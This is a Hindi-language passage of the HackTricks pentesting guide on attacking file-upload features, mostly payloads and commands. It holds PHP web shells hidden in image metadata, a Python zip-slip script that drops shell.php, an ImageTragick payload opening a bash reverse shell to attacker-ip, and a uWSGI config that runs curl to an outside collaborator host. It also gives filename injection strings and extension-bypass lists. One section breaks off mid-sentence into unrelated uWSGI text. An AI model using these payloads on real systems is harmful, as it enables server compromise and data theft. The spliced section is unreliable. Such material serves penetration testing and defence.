.. | ||
pdf-upload-xxe-and-cors-bypass.md | ||
README.md |
फ़ाइल अपलोड
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- अगर आप अपनी कंपनी की विज्ञापनित करना चाहते हैं HackTricks में या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs संग्रह The PEASS Family की खोज करें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या मेरा Twitter 🐦 @carlospolopm** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके HackTricks और HackTricks Cloud github repos में।
बग बाउंटी टिप: Intigriti के लिए साइन अप करें, एक प्रीमियम बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा बनाई गई है! आज हमारे साथ जुड़ें https://go.intigriti.com/hacktricks और शुरू करें बाउंटी अप तक $100,000 तक कमाना!
{% embed url="https://go.intigriti.com/hacktricks" %}
फ़ाइल अपलोड सामान्य मेथडोलॉजी
अन्य उपयोगी एक्सटेंशन:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- PHPv8 में काम करना: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
फ़ाइल एक्सटेंशन जांच को छलना
- यदि वे लागू होते हैं, पिछली एक्सटेंशन की जांच करें। उन्हें कुछ अपरकेस अक्षरों का उपयोग करके भी टेस्ट करें: pHp, .pHP5, .PhAr ...
- एक वास्तविक एक्सटेंशन को पहले जारी एक्सटेंशन के सामने जोड़ने की जांच करें (पिछली एक्सटेंशन भी उपयोग करें):
- file.png.php
- file.png.Php5
- अंत में विशेष वर्ण जोड़ें। आप बर्फ का उपयोग कर सकते हैं ताकि सभी एस्की और यूनिकोड वर्णों की ब्रूटफ़ोर्सिंग करें। (ध्यान दें कि आप पिछले उल्लिखित एक्सटेंशन का भी प्रयोग कर सकते हैं)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देने की कवचिता को छलकरने की कोशिश करें जैसे एक्सटेंशन को डबल करना या एक्सटेंशन के बीच में जंक डेटा (नल बाइट्स) जोड़ना। आप एक बेहतर पेलोड तैयार करने के लिए पिछली एक्सटेंशन का भी उपयोग कर सकते हैं
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- पिछली जांच में एक और परत एक्सटेंशन जोड़ें:
- file.png.jpg.php
- file.php%00.png%00.jpg
- वैध एक्सटेंशन के पहले एक्सेक्यूशन एक्सटेंशन जोड़ें और यह आशा करें कि सर्वर गलती से कॉन्फ़िगर हो गया है। (जिसमें एक्सटेंशन के साथ कुछ भी हो सकता है .php, लेकिन अनिवार्य रूप से .php** में समाप्त नहीं हो रहा है):
- उदाहरण: file.php.png
- Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS) का उपयोग करें। इस मामले में, एक प्रतिबंधित एक्सटेंशन के बाद और एक अनुमत एक्सटेंशन के पहले एक आवश्यकता होगी। इसके परिणामस्वरूप, एक खाली फ़ाइल जिसमें प्रतिबंधित एक्सटेंशन होगा सर्वर पर बनाई जाएगी (उदाहरण के लिए, “file.asax:.jpg”). इस फ़ाइल को बाद में संपादित किया जा सकता है अन्य तकनीकों का उपयोग करके जैसे कि इसके छोटे नाम का उपयोग करना। “::$data” पैटर्न का उपयोग करके गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक डॉट चरित्र जोड़ना भी अधिक प्रतिबंधों को छलने के लिए उपयोगी हो सकता है (उदाहरण के लिए, “file.asp::$data.”)
- फ़ाइल नाम सीमाओं को तोड़ने की कोशिश करें। वैध एक्सटेंशन काट जाता है। और दुर्भाग्य से PHP छोड़ जाता है। AAA<--SNIP-->AAA.php
# लिनक्स अधिकतम 255 बाइट
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # यहाँ 4 कम करें और .png जोड़ें
# फ़ाइल अपलोड करें और प्रतिक्रिया की जांच करें कितने वर्णों को अनुमत किया जाता है। चलिए कहें 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# पेलोड बनाएं
AAA<--SNIP 232 A-->AAA.php.png
Content-Type, Magic Number, Compression & Resizing को छलना
- Content-Type जांच को छलना अपनाकर Content-Type हेडर के मान को सेट करके छलना: image/png , text/plain , application/octet-stream
- Content-Type वर्डलिस्ट: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
- मैजिक नंबर जांच को छलना एक वास्तविक छवि के बाइट्स को फ़ाइल के शुरुआत में जोड़कर (फ़ाइल कमांड को गलतफहमी करें)। या मेटाडेटा में शैल डालें:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
या आप सीधे छवि में पेलोड डाल सकते हैं:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- यदि आपकी छवि में संपीड़न जोड़ा जा रहा है, उदाहरण के लिए PHP-GD जैसे कुछ मानक PHP पुस्तकालयों का उपयोग करके, पिछली तकनीकों का उपयोग उपयुक्त नहीं होगा। हालांकि, आप PLTE चंक यहाँ परिभाषित तकनीक का उप
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
द्वारा पेलोड का क्रियान्वयन विन्यास फ़ाइल के पार्सिंग के दौरान होता है। विन्यास को सक्रिय करने और पार्स करने के लिए, uWSGI प्रक्रिया को या तो पुनरारंभ किया जाना चाहिए (संभावित रूप से क्रैश के बाद या डीनायल ऑफ सर्विस हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड सुविधा, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्धारित अंतराल पर फ़ाइल को रीलोड करती है।
uWSGI के विन्यास फ़ाइल के पार्सिंग की ढीली स्वभाव को समझना महत्वपूर्ण है। विशेष रूप से, चर्चित पेलोड एक बाइनरी फ़ाइल में (जैसे एक छवि या पीडीएफ) डाला जा सकता है, जिससे संभावित शोषण के दायरे को और भी व्यापक बनाया जा सकता है।
wget फ़ाइल अपलोड/SSRF ट्रिक
कुछ मौकों पर आपको यह मिल सकता है कि एक सर्वर wget
का उपयोग फ़ाइलें डाउनलोड करने के लिए कर रहा है और आप URL को सूचित कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एकटिविटीज़ सफेद सूची में है ताकि केवल अनुमत फ़ाइलें ही डाउनलोड की जाएं। हालांकि, यह जांच को छल सकता है।
लिनक्स में एक फ़ाइल का नाम की अधिकतम लंबाई 255 है, हालांकि, wget फ़ाइल के नामों को 236 वर्णों में काट देता है। आप "A"*232+".php"+".gif" नाम की एक फ़ाइल डाउनलोड कर सकते हैं, यह नाम जांच को छलाएगा (जैसे कि इस उदाहरण में ".gif" एक मान्य एक्सटेंशन है) लेकिन wget
फ़ाइल का नाम "A"*232+".php" कर देगा।
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
ध्यान दें कि इस जांच को छलकरने के लिए आपके मन में एक और विकल्प हो सकता है कि HTTP सर्वर को एक विभिन्न फ़ाइल पर पुनर्निर्देशित करने के लिए, तो प्रारंभिक URL जांच को छलकने के लिए उस समय wget निर्देशित फ़ाइल को नए नाम के साथ डाउनलोड करेगा। यह काम नहीं करेगा जब तक wget को पैरामीटर --trust-server-names
के साथ उपयोग किया जा रहा हो क्योंकि wget प्रारंभिक URL में निर्दिष्ट फ़ाइल के नाम के साथ पुनर्निर्देशित पृष्ठ को डाउनलोड करेगा।
उपकरण
- अपलोड बाइपास एक शक्तिशाली उपकरण है जो पेंटेस्टर्स और बग हंटर्स को फ़ाइल अपलोड तंत्रों का परीक्षण करने में मदद करने के लिए डिज़ाइन किया गया है। यह विभिन्न बग इनाम तकनीकों का उपयोग करता है ताकि वेब एप्लिकेशनों की मूल्यांकन को सरल बनाए रखने और संक्षेपित करने में मदद करें।
फ़ाइल अपलोड से अन्य सुरक्षा दोष
- फ़ाइल का नाम
../../../tmp/lol.png
पर सेट करें और एक पथ ट्रावर्सल प्राप्त करने का प्रयास करें - फ़ाइल का नाम
sleep(10)-- -.jpg
पर सेट करें और आप एक SQL इंजेक्शन प्राप्त कर सकते हैं - फ़ाइल का नाम
<svg onload=alert(document.domain)>
पर सेट करें और एक XSS प्राप्त करें - फ़ाइल का नाम
; sleep 10;
पर सेट करें और कुछ कमांड इंजेक्शन का परीक्षण करें (अधिक कमांड इंजेक्शन ट्रिक्स यहाँ) - XSS में छवि (svg) फ़ाइल अपलोड
- JS फ़ाइल अपलोड + XSS = सेवा कर्मचारी शोषण
- svg अपलोड में XXE
- ओपन रीडायरेक्ट svg फ़ाइल अपलोड के माध्यम से
- https://github.com/allanlw/svg-cheatsheet से विभिन्न svg पेलोड का प्रयास करें
- प्रसिद्ध ImageTrick सुरक्षा दोष](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- यदि आप वेब सर्वर को सूचित कर सकते हैं कि एक छवि को URL से पकड़ने के लिए तो आप SSRF का दुरुपयोग करने का प्रयास कर सकते हैं। यदि यह छवि किसी सार्वजनिक स्थान पर सहेजी जाएगी, तो आप https://iplogger.org/invisible/ से URL को सूचित कर सकते हैं और हर दर्शक की जानकारी चुरा सकते हैं।
- XXE और CORS को PDF-Adobe अपलोड के साथ छलाना
- विशेष रूप से तैयार किए गए PDFs से XSS: निम्नलिखित पृष्ठ में यह प्रस्तुत करता है कि PDF डेटा को जेएस क्रियान्वयन प्राप्त करने के लिए कैसे उत्पन्न किया जाए। यदि आप PDFs अपलोड कर सकते हैं तो आप दिए गए निर्देशों का पालन करते हुए कुछ PDF तैयार कर सकते हैं जो विचारात्मक JS को क्रियान्वित करेंगे।
- [eicar](https://secure.eicar.org/eicar.com.txt) सामग्री को अपलोड करें और देखें कि सर्वर में कोई एंटीवायरस है या नहीं
- फ़ाइलें अपलोड करते समय कोई साइज़ सीमा है या नहीं
यहाँ एक शीर्ष 10 सूची है जिन्हें आप अपलोड करके प्राप्त कर सकते हैं (यहाँ से यहाँ):
- ASP / ASPX / PHP5 / PHP / PHP3: वेबशैल / RCE
- SVG: स्टोर्ड XSS / SSRF / XXE
- GIF: स्टोर्ड XSS / SSRF
- CSV: CSV इंजेक्शन
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML इंजेक्शन / XSS / ओपन रीडायरेक्ट
- PNG / JPEG: पिक्सेल बाढ़ हमला (DoS)
- ZIP: LFI के माध्यम से RCE / DoS
- PDF / PPTX: SSRF / ब्लाइंड XXE
बर्प एक्सटेंशन
{% embed url="https://github.com/portswigger/upload-scanner" %}
जादू हेडर बाइट्स
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
अन्य फ़ाइल प्रकारों के लिए https://en.wikipedia.org/wiki/List_of_file_signatures का संदर्भ दें।
ज़िप/टार फ़ाइल स्वचालित रूप से अपलोड किया गया
यदि आप एक ज़िप अपलोड कर सकते हैं जो सर्वर के अंदर स्वचालित रूप से अनज़िप होगा, तो आप 2 चीजें कर सकते हैं:
सिम्लिंक
अन्य फ़ाइलों के लिए सॉफ़्ट लिंक्स वाला लिंक अपलोड करें, फिर, अनज़िप की गई फ़ाइलों तक पहुंचकर आप लिंक की गई फ़ाइलों तक पहुंचेंगे:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
विभिन्न फोल्डर में डीकंप्रेस करें
डीकंप्रेशन के दौरान निर्धारित निर्माण फाइलों का निर्माण एक महत्वपूर्ण मुद्दा है। यहां तक कि प्रारंभिक मान्यताओं के बावजूद कि इस सेटअप से अपराधी फाइल अपलोड के माध्यम से ओएस-स्तरीय कमांड निषेध किया जा सकता है, ZIP आर्काइव प्रारूप की वर्गीकरण समर्थन और डायरेक्टरी ट्रावर्सल क्षमताएं उपयोग की जा सकती हैं। इससे हमलावादियों को प्रतिबंधों को उलटने और लक्षित एप्लिकेशन की डीकंप्रेशन क्षमता को मानिया करके सुरक्षित अपलोड डायरेक्टरी से बाहर निकलने की अनुमति होती है।
ऐसी फाइलों को बनाने के लिए एक स्वचालित उत्पीड़न evilarc on GitHub पर उपलब्ध है। यह उपयोग करने के लिए यूटिलिटी इस प्रकार है:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
इसके अतिरिक्त, एविलार्क के साथ सिमलिंक ट्रिक एक विकल्प है। यदि लक्ष्य है किसी फ़ाइल को लक्षित करना जैसे /flag.txt
, तो उस फ़ाइल के लिए एक सिमलिंक आपके सिस्टम में बनाया जाना चाहिए। इससे यह सुनिश्चित होता है कि एविलार्क अपने संचालन के दौरान त्रुटियों का सामना नहीं करता।
नीचे एक उदाहरण है Python कोड का जो एक दुष्ट zip फ़ाइल बनाने के लिए उपयोग किया जाता है:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
फ़ाइल स्प्रे करने के लिए संपीड़न का दुरुपयोग
अधिक विवरण के लिए मूल पोस्ट देखें: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- एक PHP शैल बनाना:
PHP कोड लिखा जाता है जो
$_REQUEST
वेरिएबल के माध्यम से पारित कमांड को निष्पादित करने के लिए है।
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- फ़ाइल स्प्रे और संपीड़ित फ़ाइल निर्माण: कई फ़ाइलें बनाई जाती हैं और इन फ़ाइलों को समेत करने वाला एक ज़िप आर्काइव बनाया जाता है।
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- हेक्स संपादक या vi के साथ संशोधन: ज़िप के अंदर की फ़ाइलों के नामों को vi या हेक्स संपादक का उपयोग करके बदल दिया जाता है, "xxA" को बदलकर "../" को निर्देशिकाओं को चौराहा करने के लिए।
:set modifiable
:%s/xxA/..\//g
:x!
ImageTragic
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि सुरक्षा दोष का शोध किया जा सके (ImageMagick, 7.0.1-1) (शोध)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
PHP शैल को PNG में एम्बेड करना
एक PNG फ़ाइल के IDAT चंक में PHP शैल को एम्बेड करना कुछ छवि प्रसंस्करण कार्रवाइयों को पार करने में कारगर हो सकता है। PHP-GD से imagecopyresized
और imagecopyresampled
फ़ंक्शन इस संदर्भ में विशेष रूप से महत्वपूर्ण हैं, क्योंकि ये छवियों को आकार बदलने और पुनर्नमूना करने के लिए सामान्य रूप से उपयोग किए जाते हैं। एम्बेडेड PHP शैल की क्षमता कि ये ऑपरेशनों से प्रभावित नहीं होता है, कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है।
इस तकनीक का विस्तृत अन्वेषण, इसकी विधि और संभावित अनुप्रयोगों के साथ, निम्नलिखित लेख में प्रदान किया गया है: "PNG IDAT चंक में वेब शैल्स को एन्कोड करना"। यह संसाधन प्रक्रिया और इसके परिणामों की एक व्यापक समझ प्रदान करता है।
अधिक जानकारी: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
पॉलीग्लॉट फ़ाइलें
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अद्वितीय उपकरण के रूप में काम करती हैं, जो चेमेलियन के रूप में कार्य करती हैं जो कई फ़ाइल प्रारूपों में सही रूप से मौजूद हो सकती हैं। एक रोचक उदाहरण है GIFAR, एक हाइब्रिड जो एक GIF और एक RAR आर्काइव के रूप में दोनों कार्य करता है। ऐसी फ़ाइलें इस संयोजन के सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
पॉलीग्लॉट फ़ाइलों की मूल उपयोगिता उनकी क्षमता में है जो फ़ाइल प्रकार के आधार पर फ़ाइलों की स्क्रीनिंग करने वाली सुरक्षा उपायों को छलने में है। विभिन्न एप्लिकेशनों में सामान्य अभ्यास शामिल है केवल कुछ फ़ाइल प्रकारों को अपलोड के लिए अनुमति देना—जैसे JPEG, GIF, या DOC—जो संभावित नुकसानकारी प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए है। हालांकि, एक पॉलीग्लॉट, एकाधिक फ़ाइल प्रकारों के संरचनात्मक मापदंडों का पालन करके, इन प्रतिबंधों को चुपके से छल सकता है।
अपनी अनुकूलनशीलता के बावजूद, पॉलीग्लॉट की कुछ सीमाएँ होती हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट समय समय पर एक PHAR फ़ाइल (PHp ARchive) और एक JPEG का रूप धारण कर सकता है, इसकी अपलोड की सफलता निर्भर हो सकती है प्लेटफ़ॉर्म के फ़ाइल एक्सटेंशन नीतियों पर। यदि सिस्टम अनुमति देने वाले एक्सटेंशन के बारे में कड़ी हो, तो एक पॉलीग्लॉट की केवल संरचनात्मक द्वैतता की सफलता उसकी अपलोड की गारंटी सुनिश्चित करने के लिए पर्याप्त नहीं हो सकती।
अधिक जानकारी: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
संदर्भ
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
बग बाउंटी टिप: साइन अप करें Intigriti के लिए, एक प्रीमियम बग बाउंटी प्लेटफ़ॉर्म जो हैकर्स द्वारा बनाया गया है, हैकर्स के लिए! हमारे साथ जुड़ें https://go.intigriti.com/hacktricks आज ही, और शुरू करें बाउंटी कमाना तक $100,000 तक!
{% embed url="https://go.intigriti.com/hacktricks" %}
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी को HackTricks में विज्ञापित करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- प्राप्त करें आधिकारिक PEASS & HackTricks स्वैग
- खोजें The PEASS Family, हमारा विशेष NFTs संग्रह
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या ट्विटर 🐦 @carlospolopm** पर मुझे फॉलो करें**.
- अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स और HackTricks Cloud github repos को PR जमा करके।